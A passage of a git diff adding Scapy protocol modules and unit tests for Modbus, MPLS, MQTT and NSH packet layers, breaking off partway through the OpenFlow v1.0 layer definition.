+raw(ModbusPDU17ReadWriteMultipleRegistersRequest(writeRegistersValue=[0x0001, 0x0002])) == b'\x17\x00\x00\x00\x01\x00\x00\x00\x02\x04\x00\x01\x00\x02'
+= ModbusPDU17ReadWriteMultipleRegistersRequest dissection
+p = ModbusPDU17ReadWriteMultipleRegistersRequest(b'\x17\x00\x00\x00\x01\x00\x00\x00\x02\x04\x00\x01\x00\x02')
+assert(p.byteCount == 4)
+assert(p.writeQuantityRegisters == 2)
+
+= ModbusPDU17ReadWriteMultipleRegistersResponse
+raw(ModbusPDU17ReadWriteMultipleRegistersResponse()) == b'\x17\x02\x00\x00'
+= ModbusPDU17ReadWriteMultipleRegistersResponse minimal parameters
+raw(ModbusPDU17ReadWriteMultipleRegistersResponse(registerVal=[1,2,3])) == b'\x17\x06\x00\x01\x00\x02\x00\x03'
+= ModbusPDU17ReadWriteMultipleRegistersResponse dissection
+raw(ModbusPDU17ReadWriteMultipleRegistersResponse(b'\x17\x02\x00\x01')) == b'\x17\x02\x00\x01'
+
+= ModbusPDU17ReadWriteMultipleRegistersError
+raw(ModbusPDU17ReadWriteMultipleRegistersError()) == b'\x97\x01'
+
+# 0x18/0x88 Read FIFO Queue ---------------------------------------------------------
+= ModbusPDU18ReadFIFOQueueRequest
+raw(ModbusPDU18ReadFIFOQueueRequest()) == b'\x18\x00\x00'
+
+= ModbusPDU18ReadFIFOQueueResponse
+= ModbusPDU18ReadFIFOQueueResponse
+raw(ModbusPDU18ReadFIFOQueueResponse()) == b'\x18\x00\x02\x00\x00'
+= ModbusPDU18ReadFIFOQueueResponse minimal parameters
+raw(ModbusPDU18ReadFIFOQueueResponse(FIFOVal=[0x0001, 0x0002, 0x0003])) == b'\x18\x00\x08\x00\x03\x00\x01\x00\x02\x00\x03'
+= ModbusPDU18ReadFIFOQueueResponse dissection
+p = ModbusPDU18ReadFIFOQueueResponse(b'\x18\x00\x08\x00\x03\x00\x01\x00\x02\x00\x03')
+assert(p.byteCount == 8)
+assert(p.FIFOCount == 3)
+
+= ModbusPDU18ReadFIFOQueueError
+raw(ModbusPDU18ReadFIFOQueueError()) == b'\x98\x01'
+
+# 0x2b encapsulated Interface Transport ---------------------------------------------
+# 0x2b 0xOD CANopen General Reference (out of the main specification) ---------------
+
+# 0x2b 0xOE Read Device Information -------------------------------------------------
+= ModbusPDU2B0EReadDeviceIdentificationRequest
+raw(ModbusPDU2B0EReadDeviceIdentificationRequest()) == b'+\x0e\x01\x00'
+
+= ModbusPDU2B0EReadDeviceIdentificationResponse
+raw(ModbusPDU2B0EReadDeviceIdentificationResponse()) == b'+\x0e\x04\x01\x00\x00\x00'
+= ModbusPDU2B0EReadDeviceIdentificationResponse complete response
+p = raw(ModbusPDU2B0EReadDeviceIdentificationResponse(objCount=2)/ModbusObjectId(id=0, value="Obj1")/ModbusObjectId(id=1, value="Obj2"))
+assert(p == b'+\x0e\x04\x01\x00\x00\x02\x00\x04Obj1\x01\x04Obj2')
+= ModbusPDU2B0EReadDeviceIdentificationResponse dissection
+p = ModbusPDU2B0EReadDeviceIdentificationResponse(b'+\x0e\x01\x83\x00\x00\x03\x00\x08Pymodbus\x01\x02PM\x02\x031.0')
+assert(p.payload.payload.payload.id == 2)
+assert(p.payload.payload.id == 1)
+assert(p.payload.id == 0)
+
+= ModbusPDU2B0EReadDeviceIdentificationError
+raw(ModbusPDU2B0EReadDeviceIdentificationError()) == b'\xab\x01'
diff --git a/scapy/contrib/mpls.py b/scapy/contrib/mpls.py
new file mode 100644
index 0000000..8daddf2
--- /dev/null
+++ b/scapy/contrib/mpls.py
@@ -0,0 +1,45 @@
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# scapy.contrib.description = MPLS
+# scapy.contrib.status = loads
+
+from scapy.packet import Packet, bind_layers, Padding
+from scapy.fields import BitField,ByteField
+from scapy.layers.inet import IP
+from scapy.layers.inet6 import IPv6
+from scapy.layers.l2 import Ether, GRE
+from scapy.compat import orb
+
+class MPLS(Packet):
+   name = "MPLS"
+   fields_desc =  [ BitField("label", 3, 20),
+                    BitField("cos", 0, 3),
+                    BitField("s", 1, 1),
+                    ByteField("ttl", 0)  ]
+
+   def guess_payload_class(self, payload):
+       if len(payload) >= 1:
+           if not self.s:
+              return MPLS
+           ip_version = (orb(payload[0]) >> 4) & 0xF
+           if ip_version == 4:
+               return IP
+           elif ip_version == 6:
+               return IPv6
+       return Padding
+
+bind_layers(Ether, MPLS, type=0x8847)
+bind_layers(GRE, MPLS, proto=0x8847)
+bind_layers(MPLS, MPLS, s=0)
diff --git a/scapy/contrib/mpls.uts b/scapy/contrib/mpls.uts
new file mode 100644
index 0000000..ddd559a
--- /dev/null
+++ b/scapy/contrib/mpls.uts
@@ -0,0 +1,24 @@
+# MPLS unit tests
+#
+# Type the following command to launch start the tests:
+# $ test/run_tests -P "load_contrib('mpls')" -t scapy/contrib/mpls.uts
+
++ MPLS
+
+= Build & dissect - IPv4
+if WINDOWS:
+    route_add_loopback()
+
+s = raw(Ether(src="00:01:02:04:05")/MPLS()/IP())
+assert(s == b'\xff\xff\xff\xff\xff\xff\x00\x01\x02\x04\x05\x00\x88G\x00\x001\x00E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01')
+
+p = Ether(s)
+assert(MPLS in p and IP in p)
+
+
+= Build & dissect - IPv6
+s = raw(Ether(src="00:01:02:04:05")/MPLS(s=0)/MPLS()/IPv6())
+assert(s == b'\xff\xff\xff\xff\xff\xff\x00\x01\x02\x04\x05\x00\x88G\x00\x000\x00\x00\x001\x00`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01')
+
+p = Ether(s)
+assert(IPv6 in p and isinstance(p[MPLS].payload, MPLS))
diff --git a/scapy/contrib/mqtt.py b/scapy/contrib/mqtt.py
new file mode 100644
index 0000000..e1613e1
--- /dev/null
+++ b/scapy/contrib/mqtt.py
@@ -0,0 +1,262 @@
+# This file is part of Scapy
+# See http://www.secdev.org/projects/scapy for more informations
+# Copyright (C) Santiago Hernandez Ramos <shramos@protonmail.com>
+# This program is published under GPLv2 license
+
+
+from scapy.packet import Packet, bind_layers
+from scapy.fields import FieldLenField, BitEnumField, StrLenField, \
+    ShortField, ConditionalField, ByteEnumField, ByteField, StrNullField
+from scapy.layers.inet import TCP
+from scapy.error import Scapy_Exception
+from scapy.compat import orb, chb
+
+
+# CUSTOM FIELDS
+
+# source: http://stackoverflow.com/a/43717630
+class VariableFieldLenField(FieldLenField):
+    def addfield(self, pkt, s, val):
+        val = self.i2m(pkt, val)
+        data = []
+        while val:
+            if val > 127:
+                data.append(val & 127)
+                val /= 127
+            else:
+                data.append(val)
+                lastoffset = len(data) - 1
+                data = b"".join(chb(val | (0 if i == lastoffset else 128))
+                               for i, val in enumerate(data))
+                return s + data
+            if len(data) > 3:
+                raise Scapy_Exception("%s: malformed length field" %
+                                      self.__class__.__name__)
+
+    def getfield(self, pkt, s):
+        value = 0
+        for offset, curbyte in enumerate(s):
+            curbyte = orb(curbyte)
+            value += (curbyte & 127) * (128 ** offset)
+            if curbyte & 128 == 0:
+                return s[offset + 1:], value
+            if offset > 2:
+                raise Scapy_Exception("%s: malformed length field" %
+                                      self.__class__.__name__)
+
+
+# LAYERS
+
+CONTROL_PACKET_TYPE = {1: 'CONNECT',
+                       2: 'CONNACK',
+                       3: 'PUBLISH',
+                       4: 'PUBACK',
+                       5: 'PUBREC',
+                       6: 'PUBREL',
+                       7: 'PUBCOMP',
+                       8: 'SUBSCRIBE',
+                       9: 'SUBACK',
+                       10: 'UNSUBSCRIBE',
+                       11: 'UNSUBACK',
+                       12: 'PINGREQ',
+                       13: 'PINGRESP',
+                       14: 'DISCONNECT'}
+
+
+QOS_LEVEL = {0: 'At most once delivery',
+             1: 'At least once delivery',
+             2: 'Exactly once delivery'}
+
+
+# source: http://stackoverflow.com/a/43722441
+class MQTT(Packet):
+    name = "MQTT fixed header"
+    fields_desc = [
+        BitEnumField("type", 1, 4, CONTROL_PACKET_TYPE),
+        BitEnumField("DUP", 0, 1, {0: 'Disabled',
+                                   1: 'Enabled'}),
+        BitEnumField("QOS", 0, 2, QOS_LEVEL),
+        BitEnumField("RETAIN", 0, 1, {0: 'Disabled',
+                                      1: 'Enabled'}),
+        # Since the size of the len field depends on the next layer, we need
+        # to "cheat" with the length_of parameter and use adjust parameter to
+        # calculate the value.
+        VariableFieldLenField("len", None, length_of="len",
+                              adjust=lambda pkt, x: len(pkt.payload),),
+    ]
+
+
+class MQTTConnect(Packet):
+    name = "MQTT connect"
+    fields_desc = [
+        FieldLenField("length", None, length_of="protoname"),
+        StrLenField("protoname", "",
+                    length_from=lambda pkt: pkt.length),
+        ByteField("protolevel", 0),
+        BitEnumField("usernameflag", 0, 1, {0: 'Disabled',
+                                            1: 'Enabled'}),
+        BitEnumField("passwordflag", 0, 1, {0: 'Disabled',
+                                            1: 'Enabled'}),
+        BitEnumField("willretainflag", 0, 1, {0: 'Disabled',
+                                              1: 'Enabled'}),
+        BitEnumField("willQOSflag", 0, 2, QOS_LEVEL),
+        BitEnumField("willflag", 0, 1, {0: 'Disabled',
+                                        1: 'Enabled'}),
+        BitEnumField("cleansess", 0, 1, {0: 'Disabled',
+                                         1: 'Enabled'}),
+        BitEnumField("reserved", 0, 1, {0: 'Disabled',
+                                        1: 'Enabled'}),
+        ShortField("klive", 0),
+        FieldLenField("clientIdlen", None, length_of="clientId"),
+        StrLenField("clientId", "",
+                    length_from=lambda pkt: pkt.clientIdlen),
+        # Payload with optional fields depending on the flags
+        ConditionalField(FieldLenField("wtoplen", None, length_of="willtopic"),
+                         lambda pkt: pkt.willflag == 1),
+        ConditionalField(StrLenField("willtopic", "",
+                                     length_from=lambda pkt: pkt.wtoplen),
+                         lambda pkt: pkt.willflag == 1),
+        ConditionalField(FieldLenField("wmsglen", None, length_of="willmsg"),
+                         lambda pkt: pkt.willflag == 1),
+        ConditionalField(StrLenField("willmsg", "",
+                                     length_from=lambda pkt: pkt.wmsglen),
+                         lambda pkt: pkt.willflag == 1),
+        ConditionalField(FieldLenField("userlen", None, length_of="username"),
+                         lambda pkt: pkt.usernameflag == 1),
+        ConditionalField(StrLenField("username", "",
+                                     length_from=lambda pkt: pkt.userlen),
+                         lambda pkt: pkt.usernameflag == 1),
+        ConditionalField(FieldLenField("passlen", None, length_of="password"),
+                         lambda pkt: pkt.passwordflag == 1),
+        ConditionalField(StrLenField("password", "",
+                                     length_from=lambda pkt: pkt.passlen),
+                         lambda pkt: pkt.passwordflag == 1),
+    ]
+
+
+RETURN_CODE = {0: 'Connection Accepted',
+               1: 'Unacceptable protocol version',
+               2: 'Identifier rejected',
+               3: 'Server unavailable',
+               4: 'Bad username/password',
+               5: 'Not authorized'}
+
+
+class MQTTConnack(Packet):
+    name = "MQTT connack"
+    fields_desc = [
+        ByteField("sessPresentFlag", 0),
+        ByteEnumField("retcode", 0, RETURN_CODE),
+        # this package has not payload
+    ]
+
+
+class MQTTPublish(Packet):
+    name = "MQTT publish"
+    fields_desc = [
+        FieldLenField("length", None, length_of="topic"),
+        StrLenField("topic", "",
+                    length_from=lambda pkt: pkt.length),
+        ConditionalField(ShortField("msgid", None),
+                         lambda pkt: (pkt.underlayer.QOS == 1
+                                      or pkt.underlayer.QOS == 2)),
+        StrLenField("value", "",
+                    length_from=lambda pkt: (pkt.underlayer.len -
+                                             pkt.length - 2)),
+    ]
+
+
+class MQTTPuback(Packet):
+    name = "MQTT puback"
+    fields_desc = [
+        ShortField("msgid", None),
+        ]
+
+
+class MQTTPubrec(Packet):
+    name = "MQTT pubrec"
+    fields_desc = [
+        ShortField("msgid", None),
+        ]
+
+
+class MQTTPubrel(Packet):
+    name = "MQTT pubrel"
+    fields_desc = [
+        ShortField("msgid", None),
+        ]
+
+
+class MQTTPubcomp(Packet):
+    name = "MQTT pubcomp"
+    fields_desc = [
+        ShortField("msgid", None),
+        ]
+
+
+class MQTTSubscribe(Packet):
+    name = "MQTT subscribe"
+    fields_desc = [
+        ShortField("msgid", None),
+        FieldLenField("length", None, length_of="topic"),
+        StrLenField("topic", "",
+                    length_from=lambda pkt: pkt.length),
+        ByteEnumField("QOS", 0, QOS_LEVEL),
+        ]
+
+
+ALLOWED_RETURN_CODE = {0: 'Success',
+                       1: 'Success',
+                       2: 'Success',
+                       128: 'Failure'}
+
+
+class MQTTSuback(Packet):
+    name = "MQTT suback"
+    fields_desc = [
+        ShortField("msgid", None),
+        ByteEnumField("retcode", None, ALLOWED_RETURN_CODE)
+        ]
+
+
+class MQTTUnsubscribe(Packet):
+    name = "MQTT unsubscribe"
+    fields_desc = [
+        ShortField("msgid", None),
+        StrNullField("payload", "")
+        ]
+
+
+class MQTTUnsuback(Packet):
+    name = "MQTT unsuback"
+    fields_desc = [
+        ShortField("msgid", None)
+        ]
+
+
+# LAYERS BINDINGS
+
+bind_layers(TCP, MQTT, sport=1883)
+bind_layers(TCP, MQTT, dport=1883)
+bind_layers(MQTT, MQTTConnect, type=1)
+bind_layers(MQTT, MQTTConnack, type=2)
+bind_layers(MQTT, MQTTPublish, type=3)
+bind_layers(MQTT, MQTTPuback, type=4)
+bind_layers(MQTT, MQTTPubrec, type=5)
+bind_layers(MQTT, MQTTPubrel, type=6)
+bind_layers(MQTT, MQTTPubcomp, type=7)
+bind_layers(MQTT, MQTTSubscribe, type=8)
+bind_layers(MQTT, MQTTSuback, type=9)
+bind_layers(MQTT, MQTTUnsubscribe, type=10)
+bind_layers(MQTT, MQTTUnsuback, type=11)
+bind_layers(MQTTConnect, MQTT)
+bind_layers(MQTTConnack, MQTT)
+bind_layers(MQTTPublish, MQTT)
+bind_layers(MQTTPuback, MQTT)
+bind_layers(MQTTPubrec, MQTT)
+bind_layers(MQTTPubrel, MQTT)
+bind_layers(MQTTPubcomp, MQTT)
+bind_layers(MQTTSubscribe, MQTT)
+bind_layers(MQTTSuback, MQTT)
+bind_layers(MQTTUnsubscribe, MQTT)
+bind_layers(MQTTUnsuback, MQTT)
diff --git a/scapy/contrib/mqtt.uts b/scapy/contrib/mqtt.uts
new file mode 100644
index 0000000..26aa712
--- /dev/null
+++ b/scapy/contrib/mqtt.uts
@@ -0,0 +1,110 @@
+# MQTT layer unit tests
+# Copyright (C) Santiago Hernandez Ramos <shramos@protonmail.com>
+#
+# Type the following command to launch start the tests:
+# $ test/run_tests -P "load_contrib('mqtt')" -t scapy/contrib/mqtt.uts
+
++ Syntax check
+= Import the MQTT layer
+from scapy.contrib.mqtt import *
+
+
++ MQTT protocol test
+
+= MQTTPublish, packet instanciation
+p = MQTT()/MQTTPublish(topic='test1',value='test2')
+assert(p.type == 3)
+assert(p.topic == b'test1')
+assert(p.value == b'test2')
+assert(p.len == None)
+assert(p.length == None)
+
+= Fixed header and MQTTPublish, packet dissection
+s = b'0\n\x00\x04testtest'
+publish = MQTT(s)
+assert(publish.type == 3)
+assert(publish.QOS == 0)
+assert(publish.DUP == 0)
+assert(publish.RETAIN == 0)
+assert(publish.len == 10)
+assert(publish[MQTTPublish].length == 4)
+assert(publish[MQTTPublish].topic == b'test')
+assert(publish[MQTTPublish].value == b'test')
+
+
+= MQTTConnect, packet instanciation
+c = MQTT()/MQTTConnect(clientIdlen=5, clientId='newid')
+assert(c.type == 1)
+assert(c.clientId == b'newid')
+assert(c.clientIdlen == 5)
+
+= MQTTConnect, packet dissection
+s = b'\x10\x1f\x00\x06MQIsdp\x03\x02\x00<\x00\x11mosqpub/1440-kali'
+connect = MQTT(s)
+assert(connect.length == 6)
+assert(connect.protoname == b'MQIsdp')
+assert(connect.protolevel == 3)
+assert(connect.usernameflag == 0)
+assert(connect.passwordflag == 0)
+assert(connect.willretainflag == 0)
+assert(connect.willQOSflag == 0)
+assert(connect.willflag == 0)
+assert(connect.cleansess == 1)
+assert(connect.reserved == 0)
+assert(connect.klive == 60)
+assert(connect.clientIdlen == 17)
+assert(connect.clientId == b'mosqpub/1440-kali')
+
+
+=MQTTConnack, packet instanciation
+ck = MQTT()/MQTTConnack(sessPresentFlag=1,retcode=0)
+assert(ck.type == 2)
+assert(ck.sessPresentFlag == 1)
+assert(ck.retcode == 0)
+
+= MQTTConnack, packet dissection
+s = b' \x02\x00\x00'
+connack = MQTT(s)
+assert(connack.sessPresentFlag == 0)
+assert(connack.retcode == 0)
+
+
+= MQTTSubscribe, packet instanciation
+sb = MQTT()/MQTTSubscribe(msgid=1,topic='newtopic',QOS=0,length=0)
+assert(sb.type == 8)
+assert(sb.msgid == 1)
+assert(sb.topic == b'newtopic')
+assert(sb.length == 0)
+assert(sb[MQTTSubscribe].QOS == 0)
+
+= MQTTSubscribe, packet dissection
+s = b'\x82\t\x00\x01\x00\x04test\x00'
+subscribe = MQTT(s)
+assert(subscribe.msgid == 1)
+assert(subscribe.length == 4)
+assert(subscribe.topic == b'test')
+assert(subscribe.QOS == 1)
+
+
+= MQTTSuback, packet instanciation
+sk = MQTT()/MQTTSuback(msgid=1, retcode=0)
+assert(sk.type == 9)
+assert(sk.msgid == 1)
+assert(sk.retcode == 0)
+
+= MQTTSuback, packet dissection
+s = b'\x90\x03\x00\x01\x00'
+suback = MQTT(s)
+assert(suback.msgid == 1)
+assert(suback.retcode == 0)
+
+
+= MQTTPubrec, packet instanciation
+pc = MQTT()/MQTTPubrec(msgid=1)
+assert(pc.type == 5)
+assert(pc.msgid == 1)
+
+= MQTTPubrec packet dissection
+s = b'P\x02\x00\x01'
+pubrec = MQTT(s)
+assert(pubrec.msgid == 1)
diff --git a/scapy/contrib/nsh.py b/scapy/contrib/nsh.py
new file mode 100644
index 0000000..86abe6e
--- /dev/null
+++ b/scapy/contrib/nsh.py
@@ -0,0 +1,97 @@
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# scapy.contrib.description = NSH Protocol
+# scapy.contrib.status = loads
+
+from scapy.all import bind_layers
+from scapy.fields import BitField, ByteField, ByteEnumField
+from scapy.fields import ShortField, X3BytesField, XIntField
+from scapy.fields import ConditionalField, PacketListField, BitFieldLenField
+from scapy.layers.inet import Ether, IP
+from scapy.layers.inet6 import IPv6
+from scapy.layers.vxlan import VXLAN
+from scapy.packet import Packet
+from scapy.layers.l2 import GRE
+
+from scapy.contrib.mpls import MPLS
+
+#
+# NSH Support
+# https://www.ietf.org/id/draft-ietf-sfc-nsh-05.txt
+#
+
+
+class Metadata(Packet):
+    name = 'NSH metadata'
+    fields_desc = [XIntField('value', 0)]
+
+
+class NSHTLV(Packet):
+    "NSH MD-type 2 - Variable Length Context Headers"
+    name = "NSHTLV"
+    fields_desc = [
+        ShortField('Class', 0),
+        BitField('Critical', 0, 1),
+        BitField('Type', 0, 7),
+        BitField('Reserved', 0, 3),
+        BitField('Len', 0, 5),
+        PacketListField('Metadata', None, XIntField, count_from='Len')
+    ]
+
+
+class NSH(Packet):
+    """Network Service Header.
+       NSH MD-type 1 if there is no ContextHeaders"""
+    name = "NSH"
+
+    fields_desc = [
+        BitField('Ver', 0, 2),
+        BitField('OAM', 0, 1),
+        BitField('Critical', 0, 1),
+        BitField('Reserved', 0, 6),
+        BitFieldLenField('Len', None, 6,
+                         count_of='ContextHeaders',
+                         adjust=lambda pkt, x: 6 if pkt.MDType == 1 else x + 2),
+        ByteEnumField('MDType', 1, {1: 'Fixed Length',
+                                    2: 'Variable Length'}),
+        ByteEnumField('NextProto', 3, {1: 'IPv4',
+                                       2: 'IPv6',
+                                       3: 'Ethernet',
+                                       4: 'NSH',
+                                       5: 'MPLS'}),
+        X3BytesField('NSP', 0),
+        ByteField('NSI', 1),
+        ConditionalField(XIntField('NPC', 0), lambda pkt: pkt.MDType == 1),
+        ConditionalField(XIntField('NSC', 0), lambda pkt: pkt.MDType == 1),
+        ConditionalField(XIntField('SPC', 0), lambda pkt: pkt.MDType == 1),
+        ConditionalField(XIntField('SSC', 0), lambda pkt: pkt.MDType == 1),
+        ConditionalField(PacketListField("ContextHeaders", None,
+                                         NSHTLV, count_from="Length"),
+                         lambda pkt: pkt.MDType == 2)
+        ]
+
+    def mysummary(self):
+        return self.sprintf("NSP: %NSP% - NSI: %NSI%")
+
+
+bind_layers(Ether, NSH, {'type': 0x894F}, type=0x894F)
+bind_layers(VXLAN, NSH, {'flags': 0xC, 'NextProtocol': 4}, NextProtocol=4)
+bind_layers(GRE, NSH, {'proto': 0x894F}, proto=0x894F)
+
+bind_layers(NSH, IP, {'NextProto': 1}, NextProto=1)
+bind_layers(NSH, IPv6, {'NextProto': 2}, NextProto=2)
+bind_layers(NSH, Ether, {'NextProto': 3}, NextProto=3)
+bind_layers(NSH, NSH, {'NextProto': 4}, NextProto=4)
+bind_layers(NSH, MPLS, {'NextProto': 5}, NextProto=5)
diff --git a/scapy/contrib/nsh.uts b/scapy/contrib/nsh.uts
new file mode 100644
index 0000000..093ba7e
--- /dev/null
+++ b/scapy/contrib/nsh.uts
@@ -0,0 +1,18 @@
+% NSH Tests
+* Tests for the Scapy NSH layer
+
++ Syntax check
+= Import the nsh layer
+from scapy.contrib.nsh import *
+
++ Basic Layer Tests
+
+= Build a NSH over NSH packet with NSP=42, and NSI=1
+raw(NSH(NSP=42, NSI=1)/NSH()) == b'\x00\x06\x01\x04\x00\x00*\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x01\x03\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+
+= Build a Ethernet over NSH over Ethernet packet (NSH over Ethernet encapsulating the original packet) and verify Ethernet Bindings
+raw(Ether(src="00:00:00:00:00:01", dst="00:00:00:00:00:02")/NSH()/Ether(src="00:00:00:00:00:03", dst="00:00:00:00:00:04")/ARP(psrc="10.0.0.1", hwsrc="00:00:00:00:00:01")) == b'\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x01\x89O\x00\x06\x01\x03\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x03\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01\x00\x00\x00\x00\x00\x01\n\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= Build a NSH over GRE packet, and verify GRE Bindings
+raw(Ether(src="00:00:00:00:00:01", dst="00:00:00:00:00:02")/IP(src="1.1.1.1", dst="2.2.2.2")/GRE()/NSH()/Ether(src="00:00:00:00:00:03", dst="00:00:00:00:00:04")/ARP(psrc="10.0.0.1", hwsrc="00:00:00:00:00:01")) == b'\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x01\x08\x00E\x00\x00Z\x00\x01\x00\x00@/to\x01\x01\x01\x01\x02\x02\x02\x02\x00\x00\x89O\x00\x06\x01\x03\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x03\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01\x00\x00\x00\x00\x00\x01\n\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
diff --git a/scapy/contrib/openflow.py b/scapy/contrib/openflow.py
new file mode 100755
index 0000000..df74b11
--- /dev/null
+++ b/scapy/contrib/openflow.py
@@ -0,0 +1,1210 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more information
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+## Copyright (C) 2014 Maxence Tury <maxence.tury@ssi.gouv.fr>
+## OpenFlow is an open standard used in SDN deployments.
+## Based on OpenFlow v1.0.1
+## Specifications can be retrieved from https://www.opennetworking.org/
+
+# scapy.contrib.description = Openflow v1.0
+# scapy.contrib.status = loads
+
+from __future__ import absolute_import
+import struct
+from scapy.fields import *
+from scapy.layers.l2 import *
+from scapy.layers.inet import *
+from scapy.compat import orb
+
+### If prereq_autocomplete is True then match prerequisites will be
+### automatically handled. See OFPMatch class.
+prereq_autocomplete = False
+
+#####################################################
+################# Predefined values #################
+#####################################################
+
+ofp_port_no = { 0xfff8: "IN_PORT",
+                0xfff9: "TABLE",
+                0xfffa: "NORMAL",
+                0xfffb: "FLOOD",
+                0xfffc: "ALL",
+                0xfffd: "CONTROLLER",
+                0xfffe: "LOCAL",
+                0xffff: "NONE" }
+
+ofp_table = { 0xff: "ALL" }
+
+ofp_queue = { 0xffffffff: "ALL" }
+
+ofp_buffer = { 0xffffffff: "NO_BUFFER" }
+
+ofp_max_len = { 0xffff: "NO_BUFFER" }
+
+#####################################################
+################# Common structures #################
+#####################################################
+
+### The following structures will be used in different types
+### of OpenFlow messages: ports, matches, actions, queues.
+
+
+##################### Ports #####################
+
+ofp_port_config = [ "PORT_DOWN",
+                    "NO_STP",
+                    "NO_RECV",
+                    "NO_RECV_STP",
+                    "NO_FLOOD",
+                    "NO_FWD",
+                    "NO_PACKET_IN" ]
+
+ofp_port_state = [ "LINK_DOWN" ]
+
+ofp_port_state_stp = { 0: "OFPPS_STP_LISTEN",
+                       1: "OFPPS_STP_LEARN",
+                       2: "OFPPS_STP_FORWARD",
+                       3: "OFPPS_STP_BLOCK" }
+
+ofp_port_features = [ "10MB_HD",
+                      "10MB_FD",
+                      "100MB_HD",
+                      "100MB_FD",
+                      "1GB_HD",
+                      "1GB_FD",
+                      "10GB_FD",
+                      "COPPER",
+                      "FIBER",
+                      "AUTONEG",
+                      "PAUSE",
+                      "PAUSE_ASYM" ]
+
+class OFPPhyPort(Packet):
+    name = "OFP_PHY_PORT"
+    fields_desc = [ ShortEnumField("port_no", 0, ofp_port_no),
+                    MACField("hw_addr", "0"),
+                    StrFixedLenField("port_name", "", 16),
+                    FlagsField("config", 0, 32, ofp_port_config),
+                    BitEnumField("stp_state", 0, 24, ofp_port_state),
+                    FlagsField("state", 0, 8, ofp_port_state),
+                    FlagsField("curr", 0, 32, ofp_port_features),
+                    FlagsField("advertised", 0, 32, ofp_port_features),
+                    FlagsField("supported", 0, 32, ofp_port_features),
+                    FlagsField("peer", 0, 32, ofp_port_features) ]
+
+    def extract_padding(self, s):
+        return "", s
+
+class OFPMatch(Packet):
+    name = "OFP_MATCH"
+    fields_desc= [ FlagsField("wildcards1", None, 12, [ "DL_VLAN_PCP",
+                                                        "NW_TOS" ]),
+                   BitField("nw_dst_mask", None, 6),
+                   BitField("nw_src_mask", None, 6),
+                   FlagsField("wildcards2", None, 8, [ "IN_PORT",
+                                                       "DL_VLAN",
+                                                       "DL_SRC",
+                                                       "DL_DST",
+                                                       "DL_TYPE",
+                                                       "NW_PROTO",
+                                                       "TP_SRC",
+                                                       "TP_DST" ]),
+                   ShortEnumField("in_port", None, ofp_port_no),
+                   MACField("dl_src", None),
+                   MACField("dl_dst", None),
+                   ShortField("dl_vlan", None),
+                   ByteField("dl_vlan_pcp", None),
+                   XByteField("pad1", None),
+                   ShortField("dl_type", None),
+                   ByteField("nw_tos", None),
+                   ByteField("nw_proto", None),
+                   XShortField("pad2", None),
+                   IPField("nw_src", "0"),
+                   IPField("nw_dst", "0"),
+                   ShortField("tp_src", None),
+                   ShortField("tp_dst", None) ]
+
+    def extract_padding(self, s):
+        return "", s
+
+    ### with post_build we create the wildcards field bit by bit
+    def post_build(self, p, pay):
+        # first 10 bits of an ofp_match are always set to 0
+        l = "0"*10
+
+        # when one field has not been declared, it is assumed to be wildcarded
+        if self.wildcards1 is None:
+            if self.nw_tos is None: l+="1"
+            else: l+="0"
+            if self.dl_vlan_pcp is None: l+="1"
+            else: l+="0"
+        else:
+            w1 = binrepr(self.wildcards1)
+            l+="0"*(2-len(w1))
+            l+=w1
+                    
+        # ip masks use 6 bits each
+        if self.nw_dst_mask is None:
+            if self.nw_dst is "0": l+="111111"
+            # 0x100000 would be ok too (32-bit IP mask)
+            else: l+="0"*6
+        else:
+            m1 = binrepr(self.nw_dst_mask)
+            l+="0"*(6-len(m1))
+            l+=m1
+        if self.nw_src_mask is None:
+            if self.nw_src is "0": l+="111111"
+            else: l+="0"*6
+        else:
+            m2 = binrepr(self.nw_src_mask)
+            l+="0"*(6-len(m2))
+            l+=m2
+
+        # wildcards2 works the same way as wildcards1
+        if self.wildcards2 is None:
+            if self.tp_dst is None: l+="1"
+            else: l+="0"
+            if self.tp_src is None: l+="1"
+            else: l+="0"
+            if self.nw_proto is None: l+="1"
+            else: l+="0"
+            if self.dl_type is None: l+="1"
+            else: l+="0"
+            if self.dl_dst is None: l+="1"
+            else: l+="0"
+            if self.dl_src is None: l+="1"
+            else: l+="0"
